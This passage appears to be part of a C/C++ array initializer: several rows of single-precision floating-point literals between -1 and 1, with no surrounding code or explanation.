0.224245853978976f, 0.412950901773606f, -0.831984679101472f, -0.375663639002356f, 0.153699995838016f, -0.953997055484851f, -0.545360745186449f, 0.637687001020610f, 0.465459355638311f, 0.0769011654935299f, 0.267123343048604f, 0.545842501706277f, 0.778890986545214f, -0.363432183057524f, 0.479786652022207,
-0.600912698239979f, -0.738845504293020f, -0.775987143750184f, -0.705559714187038f, -0.310523750352236f, -0.576081829930414f, -0.0341897834633795f, -0.388414434291246f, -0.790681299048144f, -0.169440674711419f, 0.219815472280053f, -0.323451599202462f, 0.835623141427806f, -0.932446301638351f, -0.831480966559550f, -0.185050128422203f, 0.946045240208487f, 0.864740749402213f, 0.916918979039328f, -0.204049261822351f, -0.807183358636872f, -0.484543897885746f, 0.974235382435000f, -0.208019257024664f, 0.647411336652954f, 0.0961385231960816f, -0.800258527388060f, 0.352982142334643f, 0.917274278881503f, -0.733934252997685f, -0.229420044045673f, -0.358499183112933f, 0.469156578609832f, -0.859359096702447f, -0.937762141277625f, 0.389776419837803f, 0.458425599271073f, 0.542973137971009f, 0.675023236195573f, 0.944029213696263f, -0.774027667733194f, 0.262984845114612f, 0.842689106929982f, 0.349251854560315f, 0.815938991679117f, -0.226283690374971f, 0.144356327986477f, -0.610588223452142f, 0.539695204296007f, 0.655759463021729f, -0.725805170479948f, -0.194977831685847f, -0.306105075607822f, 0.725461617920836f, 0.678283785172857f, 0.250577882812283f, -0.571672652704059f, 0.112132856850530f, -0.236412229648694f, 0.768173015701816f, -0.799251028098975f, 0.100723381526471f, 0.113856811781171f, -0.0281630563735495f, -0.0727902548617043f, -0.515248547261805f, 0.795765010992038f, 0.505540143557856f, -0.496124371632015f, -0.363010091302494f, -0.302067159683438f, 0.941309812688142f, 0.0564765277142674f, 0.733027295879568f, 0.582734217224559f, -0.159007222603058f, 0.827637470837748f, -0.163060519537145f, 0.352357500273427f, 0.920405360379926f, -0.280691553157313f, -0.401974149240862f, -0.131353114797667f, 0.0719728276882135f, 0.795795661384902f, -0.348203323368113f, 0.946184663961743f, -0.188400643814906f, 0.979319203447783f, -0.132195434304746f, 0.585832597473452f, -0.894730397941282f, -0.998045985412111f, -0.717844040997160f, -0.706372640246558f, 0.237517748136224f, 0.767232946579208f, -0.246080656591091f, -0.767887803661775f, 0.139501344992184f, -0.545658806327887f, 0.480755550666584f, -0.355750609145607f, -0.493518864013929f, 0.832011102158605f, 0.122542855024589f, 0.179356501845966f, 0.630805165349165f, -0.888557403477561f, 0.861375782261841f, 0.963467658712489f, -0.00498707715217361f, 0.341894517453263f, 0.654808049991043f, -0.826909952854692f, 0.101446328788119f, 0.401514152845232f, -0.830556985096328f, 0.832187560444347f, -0.657254039822149f, 0.0304197382717133f, -0.718462386339415f, -0.592343549551534f, -0.356333235896531f, 0.674135547073730f, 0.606490641440102f, -0.707328770155748f, 0.0251846271186025f, 0.763024927861424f, -0.258224600040528f, 0.456384203436896f, 0.626482995304888f, 0.162353458245830f, 0.964280614412026f, 0.869262296229816f, -0.0659501568862260f, -0.712869755397848f, -0.946968242335746f, -0.852822740386429f, 0.791522782900379f, 0.824530390150335f, -0.369383609091590f, 0.118366422602132f, -0.713278848975255f, 0.549165545117801f, -0.00201102645336770f, 0.748955154405439f, -0.173689412898754f, 0.175162399203493f, 0.0819730422177463f, -0.804833155982895f, 0.972966530563786f, -0.0614871820303859f, -0.293463394754661f, 0.885919261783643f, 0.498531250561504f, -0.808874001349436f, 0.364344357769432f, -0.945616638616975f, -0.285864129675031f, -0.0438177789332626f, 0.303981486324719f, 0.362653007142366f, -0.543157427730716f, 0.174551703296805f, 0.140105048664068f, -0.704163993684247f, -0.647461975308389f, 0.831243960763754f, -0.364954329841192f, -0.730289885595360f, 0.0119708019435723f, 0.796338505809816f, -0.227851954967331f, -0.927330125804492f, 0.0602265250934577f, -0.485204061877453f, 0.198319346525046f, -0.529723177394882f, -0.321493822700232f, -0.839566193416413f, -0.187812484529161f, -0.396142329367383f, 0.367600156667632f, -0.922657847865138f, 0.893508892950972f, -0.504434314314017f, 0.663184814192863f, 0.887813887366393f, 0.267103483259066f, 0.984313142773772f, -0.667515321448428f, 0.0718416862496054f, -0.733363156570869f, 0.00186343206374962f, -0.316531364321301f, -0.467549697367438f, 0.569865535259013f, -0.556502178434536f, -0.650896672234238f, 0.564462797319346f, 0.585276582729153f, -0.433005641153548f, 0.847012427243871f, -0.462088105064984f, -0.379468633087939f, -0.0104892833799723f, 0.654191676584918f, -0.893278846859767f, -0.689350274835588f, -0.333220721049179f, -0.0461703436190983f, -0.463411501818667f, -0.995085073808794f, 0.526075522777196f, -0.0686703698159610f, -0.855908120278260f, -0.239774384006192f, -0.524142243888286f, 0.119526621106050f, -0.838266471869898f, -0.459366707886497f, -0.974921205300089f, -0.680517660007036f, 0.507695286553230f, 0.0920009889477380f, -0.674459855090400f, 0.554585280302756f, 0.357871391273056f, 0.453052004120624f, -0.991707675828263f, 0.144725488641274f, 0.0886535789688503f, 0.708257184179799f, 0.579351194763774f, 0.902098539548710f, 0.0104715251706708f, 0.112677648152527f, 0.0513772996762050f, -0.647561525299580f, 0.321958856072156f, -0.433510239079594f, -0.481493822802105f, 0.651663699618654f, 0.922649363108760f, -0.751799312011289f, -0.0336105332513619f, 0.236872038257485f, -0.0434863841224971f, 0.150810692021768f, -0.217629544451037f, 0.345890414626050f, -0.471941673338326f, 0.675001035054686f, -0.986585320322202f, -0.784679789758475f, 0.270727429189404f, 0.595792127677512f, -0.485969146811564f, 0.222507692419212f, -0.850070310429306f, -0.575184466843042f, -0.220860571657717f, -0.749449040845746f, 0.743039624335149f, 0.463892797640518f, 0.224829531690830f, 0.935410439714992f, 0.00609595972560872f, 0.830877831388658f, 0.0270299847557276f, -0.648763861115704f, 0.471982277585509f, -0.145722971031426f, 0.650947186397952f, -0.266164907037466f, -0.962378355156458f, 0.354855353373398f, -0.184127215272909f, -0.825621979621661f, 0.595495186093792f, 0.448679578752395f, -0.839671989567806f, 0.302158874138200f, -0.735484620769119f, -0.891040803749876f, 0.880298595525880f, -0.281199581528421f, 0.0195033020490396f, -0.511515485794419f, 0.447303195702203f, 0.375317547074287f, 0.964442757731427f, 0.167643569291013f, 0.0118587246816413f, 0.958187068873858f, 0.315395458761821f, 0.188852872643367f, 0.417450657662866f, -0.540566147670448f, -0.422709015019828f, 0.101425586029329f, -0.235465301656357f, -0.806044548641562f, -0.617153815671298f, 0.350658348898447f, -0.738540593521098f, 0.291893065415692f, 0.335435501842245f, 0.832048727909480f, -0.609539777284250f, -0.436992256701542f, -0.685315947977391f, -0.502107715051164f, -0.893460699283628f, -0.262263680492396f, 0.454417031133778f, 0.223227655510993f, 0.605288383003966f, -0.698800586984034f, 0.864843125666124f, 0.363752223710394f, -0.354571459375900f, -0.575008718239530f, 0.423061550052490f, -0.272459660313524f, -0.116932919064239f, 0.547073367599225f, -0.890822451422250f, -0.884262586749836f, -0.889803003239001f, 0.217660629852574f, 0.154863581361214f, -0.333284425759330f, -0.826087281020982f, -0.958198419703014f, 0.850114828540176f, -0.391190814837661f, 0.956578087128909f, 0.0541599967910713f, 0.0988550815990206f, 0.851903747125444f, 0.361959550717838f, -0.901818125706440f, -0.0561477675277424f, 0.522090821863134f, 0.263383912024089f, -0.161061362097086f, -0.983707460720128f, -0.333128836619106f, -0.546535222349413f, 0.627261888412583f, 0.408731616102241f, 0.754700916401496f, 0.869772826180715f, 0.362242883540519f, 0.853587698951791f, -0.698910717068557f, -0.671945256263701f, 0.802655941071284f, 0.338701009518668f, -0.0297818698247327f, -0.881311052338108f, -0.296717226328950f, -0.965699941652671f, -0.737164428831818f, 0.00804554422537485f, 0.989716933531351f, -0.832438692682457f, 0.454553001515962f, -0.933801685729775f, -0.644562445615081f, 0.104508389084640f, -0.535426180524709f, -0.937041822784313f, 0.599911275476691f, -0.789109397888652f, 0.821293320968620f, 0.818032308067912f, -0.838306491947354f, -0.172883985566904f, -0.185775969502745f, -0.672256019841514f, -0.412525056012874f, 0.142272136963196f, 0.792136721788200f, -0.726314486042219f, -0.445981475954073f, -0.857821372905156f, -0.783006950965519f, 0.438776336055643f, 0.400193156140386f, 0.177525578340235f, -0.435380642286229f, 0.547815754835977f, 0.0496394855194708f, -0.442174406426496f, -0.0856142956982360f, -0.0247840885457120f, -0.779016166389253f, -0.511802368745331f, 0.319887353303028f, 0.721806644023428f, 0.770423389111803f, 0.809969588377187f, -0.196191981856391f, -0.105718971622809f, -0.301674515042257f, 0.613622254387482f, -0.969517273103490f, 0.0144576310630131f, -0.668829420461301f, 0.750377960820232f, 0.696858494013122f, -0.563485511352760f, 0.726226115587466f, -0.227540741583116f, 0.665488592033944f, -0.124611809537824f, 0.489550286613580f, -0.579185308695604f, 0.628687311174276f, -0.295770837727116f, 0.240358361854250f, -0.155642183802961f, -0.885945841456110f, 0.388592282428421f, -0.663862196774143f, 0.363779469451472f, -0.371285870971327f, 0.563159689631810f, 0.102725415308920f, -0.320909176496511f, 0.334328794247963f, -0.401664407219370f, 0.726728495517480f, -0.192310060924823f, -0.107973316004269f, 0.898177814643418f, 0.456682306673978f, 0.890742303266606f, -0.742770990765425f, 0.0337493848747046f, 0.786190819119190f, 0.911503487800545f, 0.288384155888888f, -0.249479393879906f, -0.431949793185094f, -0.0847659302921913f, -0.475416985100444f, -0.362720571751962f, 0.676910741300893f, 0.00488530543559529f, -0.227678010632002f, -0.0632947771540859f, -0.990261099329279f, -0.708485805011827f, -0.304846597458441f, -0.480289782580152f, -0.593254971635338f, -0.656335976085053f, 0.584373334310954f, -0.493268395245234f, -0.00212668034894836f, -0.480221591678953f, 0.622365041709782f, -0.258845071515928f, 0.943825418665593f, -0.716642329101759f, -0.765317239111819f, 0.324487844009035f, 0.108158868464706f, -0.790583201992229f, -0.649218622127061f, 0.751409704126257f, 0.301455204388007f, 0.620482350165047f, 0.411016780608874f, -0.878843779367281f, -0.779673415191805f, 0.616508572699874f, 0.0750844738292273f, 0.341011338533919f, -0.553376665552953f, 0.277561087965059f, 0.527499935800293f, -0.489644680144407f, 0.514353996113782f, 0.229842524701725f, 0.139172928186734f, 0.793753206591897f, 0.835555341130211f, 0.794120687009671f, -0.0994745468343306f, 0.109098970584400f, 0.383123470993648f, 0.272549010931094f, 0.683070582699418f, 0.522823199313615f, 0.235903759158310,
-0.269490013000195f, -0.103775744391749f, -0.994083979953753f, 0.754983594207459f, 0.806308398378106f, -0.997543362839150f, -0.00396367603607373f, -0.873768378178592f, -0.755907732827809f, 0.703713206520365f, -0.0716773056166142f, 0.0792968663717508f, -0.113760825029016f, 0.828188140127672f, -0.103062543982628f, 0.0455017026983378f, 0.330658414568756f, -0.615810862221588f, 0.827890015477212f, -0.507551960954374f, -0.371044788092612f, 0.723489294741891f, 0.169072478802524f, 0.885612989356318f, -0.496475905980558f, 0.114400438991609f, 0.427961880327008f, -0.0456714004002505f, 0.0246660859589438f, 0.175616122301987f, -0.349777838484285f, -0.939474935533562f, -0.215061649130134f, 0.907049169335834f, -0.0553600192559760f, -0.982464152311714f, 0.405919915647442f, 0.755952405091542f, -0.695422520039876f, 0.373280568864688f, 0.483909023765611f, 0.784896384994620f, 0.978722132488262f, -0.113866140463085f, -0.630016943176703f, 0.512742627309861f, -0.829104067044703f, -0.240982431155520f, 0.0107361024967163f, -0.438682584788413f, 0.935730031472303f, -0.953447901200043f, -0.984218956474073f, -0.745077052885218f, -0.466232938128846f, 0.0326267564209573f, 0.303877586274065f, -0.199843777507458f, 0.674317529952029f, 0.448678903834397f, -0.681863209154081f, 0.273397524216090f, 0.193101955704959f, -0.342858479278718f, -0.485179713360910f, -0.586067050491890f, 0.393099777352274f, -0.982324485510343f, -0.852553426343700f, 0.773613825101220f, -0.590256032959421f, 0.837952413540589f, -0.643137731235821f, -0.311955662956384f, -0.888588599835619f, 0.304629859477166f, -0.810098957400030f, -0.534291626181040f, 0.878601703692302f, 0.362706441157764f, -0.254447668911795f, 0.604309282304246f, -0.977266419340276f, 0.250927873824064f, 0.549600558999971f, -0.796155833245480f, 0.226373301058549f, 0.0137578302483823f, 0.819708534464965f, 0.185662636424304f, -0.450456459548662f, 0.0953849597308440f, 0.736872088617975f, -0.582024306116842f, -0.0522261513001507f, 0.394348349710790f, -0.461023913227183f, 0.139996201153565f, -0.790168851966909f, 0.692544084408690f, -0.580603732841955f, -0.584540773580447f, -0.967062276813525f, -0.00886260208554912f, -0.0520831218167985f, -0.999614949922684f, -0.965820736077636f, 0.366390034326646f, 0.0323069925013668f, 0.164651515113853f, 0.300260003499445f, -0.340634856317630f, -0.238157231550037f, -0.291645957143165f, -0.773881882387456f, -0.144494053860223f, 0.660329619628580f, -0.626727996257997f, -0.994965090982706f, 0.161018019917379f, -0.327211572176153f, 0.0410991278573425f, 0.0123663905917732f, 0.747176159655312f, -0.485981637435718f, 0.00667961234248971f, 0.631625759154389f, -0.831294487064668f, 0.449606477050286f, 0.768845094514142f, 0.928354534843426f, 0.812647997969340f, 0.353418126917875f, -0.872184763557736f, -0.579130598386915f, -0.912928075675835f, -0.779484407508668f, 0.534916834944041f, 0.326353225230543f, 0.395431557674662f, -0.842103899863317f, 0.196590107332985f, -0.261317824893025f, 0.750190543523333f, -0.103409967857074f, -0.201452426430379f, -0.213633615009587f, 0.578822104214576f, -0.130809161238349f, -0.774608769872343f, -0.0222201705228122f, 0.126990738965544f, 0.785780586747108f, 0.0379484317527632f, 0.837140835706189f, -0.191007948387153f, 0.106781679021568f, 0.990298140861558f, 0.618337701073777f, 0.460255491901774f, 0.716379796730692f, -0.159421014009881f, -0.560212468621569f, -0.147263014783522f, -0.962301694075771f, -0.327702010262213f, -0.773959532468388f, 0.351239668535113f, -0.682281479449518f, 0.342188824054257f, -0.743039216419066f, 0.700710268270439f, 0.919651386092770f, 0.626343233048871f, -0.157189576636596f, 0.781882574006976f, 0.349953565654219f, 0.361235312853466f, 0.313242228422046f, 0.582185182102266f, 0.554504358491139f, 0.711217954194576f, 0.332473377627418f, 0.165078226255772f, -0.228349029389292f, 0.899730713958153f, 0.653894503448836f, -0.0452904440925501f, 0.0328806142413372f, 0.793701315832839f, -0.703826261467540f, -0.901648894320192f, -0.195631966969018f, -0.0470590812056508f, 0.487185699934959f, 0.175961644103331f, 0.818028721319245f, -0.224389104974946f, 0.901974203693823f, -0.153212477843726f, -0.472747796173897f, -0.587471692952684f, 0.452340198339707f, 0.996443894349412f, -0.849126217374502f, -0.403800337277983f, 0.923427876645159f, -0.0516037992113898f, -0.380335341989182f, -0.299914673109747f, 0.764492139190834f, 0.773463290027243f, 0.0175454601261817f, -0.400742340353541f, 0.912354892189422f, 0.999766609328281f, -0.521321752061712f, -0.365769506846305f, 0.477612405338644f, -0.0522578739905535f, -0.479259238587280f, 0.645161410912429f, -0.702546085166056f, 0.359736398041538f, 0.638130894056863f, 0.115633419893101f, -0.674410360620500f, -0.150824943737990f, -0.824854463897591f, -0.504410162129685f, 0.560317574021813f, -0.159611666752889f, 0.997647540626334f, 0.702777895178414f, -0.946494281691535f, -0.0109619562916898f, -0.383756482005404f, 0.872670066971334f, -0.453527506439184f, -0.635719199113957f, 0.932852122005178f, -0.800755479140234f, -0.225213334363716f, 0.251163542389519f, -0.598147625383133f, -0.155241293946661f, 0.967736510890644f, -0.0157250628103103f, 0.250570924071858f, 0.209749651169078f, -0.381016062687537f, -0.679300447230592f, 0.160197663113971f, -0.749803147200800f, 0.596917045783617f, -0.0878737681749431f, 0.642402180339789f, 0.261614973684270f, -0.111833224093973f, 0.300170844971678f, 0.317966800167647f, 0.0585375534708252f, -0.842709435910728f, 0.760207701069839f, -0.979366191145221f, 0.940703569377911f, 0.866488078693979f, 0.553497107695259f, 0.127260247084497f, 0.530106152060111f, 0.725171359852920f, 0.356742729430045f, -0.209841680046178f, -0.164239817187855f, -0.888858150931758f, 0.0367561852378047f, 0.803496113779956f, -0.594927045375575f, -0.00347281985657166f, 0.114118941713783f, -0.427864462568672f, 0.719021423892768f, 0.335845790828654f, 0.0207216235296064f, -0.523146933862102f, -0.145001077781793f, 0.490566784879983f, 0.461904660734682f, -0.897010089735077f, -0.895737903861849f, 0.343397505472310f, -0.684377591381862f, -0.0154016881290400f, -0.462987614871549f, 0.884045010701589f, 0.192617174725234f, 0.226497290324550f, -0.788151335932529f, -0.190538526746651f, -0.556614046330326f, -0.139480186854974f, 0.196785300148418f, 0.978844132512627f, -0.290726060479808f, -0.591813978495167f, -0.0769033757443105f, -0.467044929381376f, 0.171585053083057f, 0.408215527269010f, -0.818706013465989f, -0.328144984930982f, 0.790275356337217f, -0.977491163139178f, -0.979679268318504f, -0.524875121608236f, -0.263859024168277f, 0.0180787743488171f, -0.984390626106750f, 0.952274619010224f, -0.851400664579601f, 0.692959439369046f, -0.150312001943653f, 0.712066554169562f, -0.492336226254660f, -0.453559897031351f, -0.159679763180474f, 0.745834647687870f, -0.725963425297178f, -0.720341794596050f, 0.370674334928492f, -0.845974926208293f, -0.00448769398027360f, -0.595973105115042f, 0.967372249596385f, 0.512949503724102f, 0.889619262804735f, 0.990718232652913f, -0.662246751886904f, 0.333846293708563f, -0.423114421367372f, 0.549637439543149f, -0.987876053136374f, -0.782714958794276f, 0.294868983681807f, 0.931284560597614f, 0.445522387300861f, -0.388400162488578f, -0.182673246109423f, -0.773488958971573f, 0.438788569593725f, 0.578106509978236f, -0.373449127435319f, -0.301996528814967f, -0.227124771031239f, 0.700176189695036f, -0.910948938567526f, 0.733412403327578f, 0.486154072292544f, -0.974058632864456f, 0.216693355653246f, 0.147564301397678f, -0.715192277853558f, -0.366996833259925f, 0.568909126406069f, -0.0810069456450131f, -0.371253841044151f, 0.254736918036059f, -0.868966383080701f, 0.190312518076662f, 0.457253801337437f, 0.941043431633233f, -0.297470749600241f, 0.244270515950156f, -0.240122562119888f, -0.766384662307300f, 0.765045432900429f, -0.608250739173787f, -0.733052557932594f, -0.268433000443065f, 0.733598123424154f, -0.0550005774741753f, 0.273893221740822f, -0.659641650983149f, 0.967032725204337f, 0.390126626361090f, 0.518740746381756f, -0.859387560527806f, 0.554117289841284f, 0.648904904654236f, -0.755880975555381f, 0.834231592524942f, -0.137512395743275f, 0.0477027353535724f, -0.880364563062979f, 0.458763614093086f, 0.650036413308116f, 0.496385905878033f, -0.418537115548864f, -0.565561960782851f, -0.227941684691245f, -0.165031891659812f, 0.204464989908300f, -0.688093624763916f, -0.678874848552394f, 0.813764873880514f, -0.561723359541237f, -0.575805702297063f, -0.288097000970518f, 0.950119107184838f, 0.709879842972902f, 0.730067219897393f, 0.710813066057284f, -0.192333836978130f, -0.190446300563246f, 0.872679304648751f, 0.134143163657763f, -0.979443835407234f, -0.103872104041761f, -0.0568328979324004f, -0.863020133862081f, -0.0257801722427251f, -0.577962771617033f, -0.0500056799801032f, 0.191817418291914f, -0.799853775410853f, -0.110019424741421f, 0.840753817223395f, 0.355588322976119f, 0.274501278628024f, 0.757538306972136f, 0.771547320156202f, 0.0394143752709530f, 0.120744072764658f, 0.324337882930581f, -0.380086709776951f, -0.772025774284869f, 0.473986846199588f, 0.703247561676381f, 0.734667480205300f, -0.594290184210087f, 0.760158653782445f, 0.624553744314883f, -0.941053266957965f, -0.165913770936962f, -0.0497972870738055f, -0.0435608680908517f, -0.663165366083943f, -0.570972482385751f, 0.427845034528880f, 0.0897903148165149f, -0.481825010950428f, -0.0901127105939594f, 0.887770435656611f, 0.770985476674623f, 0.00966158758316293f, -0.331059327378268f, -0.286033645163736f, -0.0698945910210471f, 0.834392309773299f, 0.875537383319608f, -0.657919190548359f, 0.583890957562885f, -0.418481077359384f, -0.282242397022386f, 0.864577023994874f, -0.898367126143440f, 0.815804441243808f, 0.616061408588373f, 0.132365642864798f, -0.221099752471970f, -0.852722283680675f, -0.269499596712950f, 0.360828136129415f, -0.120022743070141f, -0.0354652134632905f, -0.718389836602256f, 0.973490047219112f, -0.201775047168341f, 0.348769511760972f, -0.338750368577880f, -0.269769414088757f, 0.498910931428472f, -0.787648791515347f, 0.508408064858444f, -0.904215976374529f, -0.778575029821227f, -0.662889546847757f, -0.787503064261069f, -0.915166838630178f, -0.415784802770356f, 0.731806835017609f, -0.903922155472207f, 0.0872811033112211f, -0.452516774501827f, 0.577942533813694f, -0.200909337658770f, 0.866167939661793f, 0.982552542055944f, -0.332277333696961f, 0.201673960342839,
0.881239812364993f, -0.0293753746942893f, 0.0967170348490725f, -0.765573023404242f, -0.179225339525953f, -0.931530757069740f, -0.702596334762137f, 0.439106079307245f, -0.469364154277323f, 0.211063395888038f, -0.245858633045693f, 0.936376071219385f, 0.0334087380010875f, 0.0765265939183459f, 0.417091701258078f, 0.962467059286170f, -0.180698008768999f, -0.129816441691123f, -0.833694435146788f, -0.800582099046532f, 0.736376297618233f, 0.0164704176688124f, 0.207462305741760f, 0.300555292898496f, 0.777154212278295f, -0.0804533056660695f, -0.279940128908185f, 0.203101811030871f, 0.447496959357837f, 0.508353359025257f, 0.644333822521829f, 0.897259297488483f, -0.675785952117501f, 0.149337263319588f, 0.350953290584184f, 0.600296681944338f, -0.606098182955297f, -0.418312129297725f, 0.792551232171214f, -0.944025948110651f, -0.923106441737020f, 0.508989820072736f, 0.101554011154237f, -0.799369609980037f, -0.229001813644938f, 0.196367996268564f, -0.634078446275840f, 0.267446716753553f, 0.943765754688567f, 0.329924442019441f, -0.898235312442524f, 0.563592978494850f, -0.976934293161001f, -0.609744819901837f, 0.498989633313589f, -0.105680058480959f, -0.400730747241191f, 0.264919109340783f, -0.313066735594123f, -0.465399967597728f, -0.425123918113080f, -0.609514085808810f, 0.916560800692384f, 0.0173757138934230f, 0.147814399202503f, 0.594152503614559f, -0.145681097751433f, -0.427232299718493f, 0.233460382614713f, 0.337361272635241f, 0.376106438004541f, 0.900277274651600f, 0.424547631957395f, -0.710790444715071f, 0.0846761090154495f, -0.0122707338404220f, 0.119989812955904f, -0.239774389963524f, -0.692300891031819f, -0.735109129583214f, 0.802276300301071f, 0.348982047806247f, 0.916302084278941f, -0.0838164783829127f, -0.989134997097880f, 0.832909602224562f, -0.701363449605445f, -0.150487976031971f, -0.728594035984111f, -0.144393031996783f, -0.458856761770637f, 0.733295441303064f, -0.405608670768629f, 0.522871610912813f, 0.468223399458939f, -0.575139530810903f, -0.241684287862418f, -0.499140599234906f, -0.395586476697394f, 0.692745485195348f, -0.125142235859546f, -0.342212246193052f, 0.133841188490164f, -0.539478395228865f, -0.887973984329817f, -0.474033882236453f, -0.837114132429830f, 0.773392302912611f, 0.117697651876253f, -0.461595011213406f, -0.528669601602068f, -0.957799577987062f, -0.468654423525192f, -0.0602288998398475f, 0.154553704272891f, -0.422854231304259f, -0.496136532114270f, -0.348154983723668f, 0.0576478341707483f, 0.542088962901856f, -0.0465812136931592f, -0.280128217727361f, -0.900695482510248f, 0.525110685457899f, -0.957266165874283f, 0.136490670826643f, -0.213221811269364f, 0.690040133288898f, 0.269408771473479f, -0.0488994830172422f, -0.837526616586426f, -0.289127052660601f, 0.149325279006459f, -0.694169700971401f, -0.0230547571616897f, -0.368313297034846f, 0.344434270521740f, 0.859135365902404f, 0.839336654691204f, -0.511783987355355f, -0.0349625753049687f, 0.935857929664427f, 0.820032045433520f, -0.0394079346656324f, -0.656352913407746f, -0.874383371678169f, -0.425836335156061f, 0.208600154889275f, -0.135596548598733f, 0.566430757256762f, 0.820840891306264f, 0.735746624790780f, -0.765482927015804f, -0.0195537720748045f, 0.606216172027628f, 0.436027839798869f, -0.609233580289002f, -0.963547951222316f, -0.575271468261977f, 0.692873344771925f, 0.143031668657597f, 0.890157114774225f, 0.762299295692265f, 0.653618249618643f, -0.957258626549595f, 0.521895225378123f, -0.607922211531407f, -0.956795748110572f, 0.477633684273092f, 0.794301967670603f, 0.139753218894595f, 0.371726372555490f, -0.804791987531745f, 0.837080126047059f, -0.440992020192054f, 0.584986017638085f, 0.950442046050057f, 0.613109120495913f, 0.633948971396891f, -0.581246845000116f, 0.730290176291093f, 0.599119212595240f, 0.120096101936515f, -0.144169383323758f, 0.930776406826440f, -0.0209712926465206f, 0.572995665695966f, 0.924623298379120f, -0.751832867985678f, 0.630196806059302f, 0.506634179395662f, 0.0388997263873157f, -0.311041196366299f, -0.729049093325017f, -0.918815504666740f, -0.103935429478766f, -0.000623544124330300f, 0.102880227280474f, -0.563637096166535f, -0.332148269587814f, 0.472114131256244f, 0.295717126494164f, 0.246944592105312f, -0.713191555660498f, 0.160410320426559f, 0.110992936470077f, 0.213877527744528f, 0.541660996543375f, -0.872405734998843f, 0.388515073094269f, -0.840811647524440f, -0.968008592072007f, 0.669947948420772f, -0.122943215855172f, 0.565929115911552f, -0.695408966310186f, 0.361296950635219f, 0.574282481983669f, 0.0877180513263536f, -0.694316083550519f, 0.327696487191071f, 0.289746985823208f, -0.241476327174879f, 0.605084742574250f, 0.0929272338220821f, -0.391399761658219f, -0.612928183827531f, 0.0471987261466311f, 0.157388702609590f, 0.575695018001234f, 0.450453491026024f, 0.876623108212541f, -0.456500163180038f, 0.436901006801809f, 0.796734433864345f, 0.771008396172517f, -0.784740610155705f, 0.405172719255834f, 0.958393667559228f, 0.787380105147761f, -0.262826016234054f, 0.773327117333271f, 0.482142068916266f, -0.461607549022954f, -0.153993688218026f, -0.129280134980317f, 0.901812622560630f, -0.111520793491644f, -0.0973214524989203f, -0.293695817178366f, -0.190045093887485f, -0.204792515844396f, 0.501086384719391f, 0.755953359112033f, -0.425886872154604f, -0.0883029298084141f, 0.763071371252921f, -0.556289447935984f, 0.577370462369201f, 0.0480599614417476f, -0.794423686623353f, 0.756645959967545f, 0.570538730848462f, 0.872575422156333f, -0.443572567528656f, -0.0487937634747691f, 0.283986553648095f, -0.170910821134099f, -0.329867000423004f, -0.982322841409943f, 0.555344201026651f, -0.351964643393940f, 0.776172688776518f, -0.148102477734717f, 0.889532618676503f, -0.310979434517253f, 0.711839903052208f, -0.646385596147085f, 0.145592596381502f, 0.233949589173221f, -0.825471565980294f, -0.370248763132654f, -0.777194557275684f, -0.224658064754195f, 0.263281286751478f, 0.849661910468068f, 0.271261490445121f, -0.915885420717958f, -0.947144520818678f, 0.227960459606299f, 0.784463828083640f, 0.995882406349565f, -0.987273766396493f, 0.0792453274840108f, -0.788403526960056f, -0.619975942121645f, 0.801181796307713f, 0.967884377026145f, -0.781223064263388f, -0.300716486479280f, 0.994748932974184f, -0.200152360574411f, -0.101898131541608f, 0.542914585925881f, 0.407729967031792f, -0.105215843903154f, 0.638066037611924f, -0.563777780161298f, 0.134189395993685f, -0.503320561486155f, -0.0379170306314711f, 0.723638115686875f, 0.747948383928228f, 0.928239905995551f, -0.736883772878758f, 0.892242913709735f, 0.468998243295705f, -0.224406388545097f, 0.758754382878863f, 0.994739001052496f, -0.749837906573089f, -0.938777322178786f, -0.619168635741936f, 0.827875717654585f, 0.294033159230782f, -0.372766318349126f, -0.292752124932124f, 0.396629951868878f, -0.986760927173237f, -0.0841834195975009f, 0.999760803826313f, 0.0142305924173638f, -0.820393900206961f, 0.409972278573230f, 0.227315924377402f, -0.641500351639361f, -0.470788010535406f, -0.486171076557593f, -0.758140688442947f, -0.971539708794928f, -0.949039718833189f, -0.146844988902767f, -0.0183627478820223f, 0.402918762093981f, 0.0620266698060286f, -0.182527786403967f, -0.374395326540229f, 0.566584207940253f, 0.879546558847970f, 0.853360173786566f, -0.515321950652696f, 0.511692631053674f, 0.342152084355850f, 0.374686420595610f, -0.794372980760555f, -0.648670375991101f, 0.761192158420166f, 0.223791993225057f, -0.342720055148453f, 0.965612513218950f, -0.796193009647904f, 0.215057114709867f, -0.0459498239576994f, 0.871047701509015f, 0.664672380241520f, -0.546301701630944f, -0.939910946986200f, -0.213195706858966f, 0.559543622118596f, -0.255844807516886f, 0.509576048776352f, -0.699005089750431f, -0.520317652140772f, -0.924306703712950f, -0.923814193467638f, 0.868401299001930f, -0.571229497763863f, 0.984740691690212f, -0.911782692220985f, -0.265295471266664f, 0.0479848731515942f, -0.195328058836883f, 0.758281465939343f, -0.418177229854869f, -0.263323557662932f, 0.0230762644115943f, 0.382605016442608f, -0.576209059863238f, -0.739785100410209f, 0.0956412509899256f, 0.0369702493097637f, 0.0738922616872486f, 0.589371657036664f, 0.548586250623500f, 0.996096574632666f, -0.574178408335425f, -0.827059309028347f, 0.600283403682961f, -0.0651062813338117f, 0.985857002071398f, 0.982700721670305f, 0.777628710286989f, -0.139415722014730f, 0.951156387462424f, 0.806391217144736f, 0.135433009714206f, 0.252388414319270f, 0.485541324740928f, 0.270688932431637f, 0.892850103229909f, 0.440168171407923f, 0.515384398158669f, 0.600884162546465f, 0.947986221531091f, 0.339440884303404f, 0.403857490690436f, -0.937015609644647f, 0.729529495316627f, -0.389601866986821f, -0.420712615666380f, -0.763003723744745f, -0.0619534667970105f, 0.486654476027536f, -0.943536854881494f, 0.471171699317719f, 0.996886209046820f, -0.945316270673373f, 0.230772742042993f, -0.621222111022648f, 0.838934157721328f, 0.124035987915113f, 0.737576768711407f, -0.217898078842006f, 0.0429859145211120f, 0.223685413947773f, 0.820073956039170f, -0.378381145423743f, -0.335672684173821f, 0.649791267584388f, -0.457253860252872f, -0.664776842833046f, 0.150429615666837f, 0.974812973893170f, 0.00119972362050369f, 0.140744912838368f, -0.252632269055503f, -0.124205752907507f, -0.383194456927254f, -0.356455432479067f, 0.0694989880525767f, 0.188230048541949f, -0.854592697407303f, -0.902559387772971f, 0.454054169179423f, 0.534684767654295f, 0.806837289706952f, 0.274203715752641f, -0.765433763984323f, 0.459365005291520f, -0.896797218412250f, 0.382900474341852f, 0.169400421233177f, -0.184111368111075f, 0.0323514487432812f, 0.621015577938758f, 0.139872518806323f, 0.480965263781330f, 0.0649386999855643f, 0.815365754221614f, 0.761990264098834f, 